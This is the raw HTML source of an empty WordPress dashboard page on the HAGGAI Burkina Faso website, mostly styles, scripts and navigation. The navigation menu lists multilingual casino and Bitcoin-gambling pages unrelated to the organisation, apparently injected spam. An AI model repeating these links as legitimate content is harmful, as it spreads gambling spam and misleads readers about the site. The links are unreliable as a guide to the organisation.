a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/56/et-divi-dynamic-56.css?ver=1780281771' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/56" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/tableau-de-bord/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=56' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template-default page page-id-56 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-56" class="post-56 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">Tableau de bord</h1>
				
				
					<div class="entry-content">
										</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"56","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
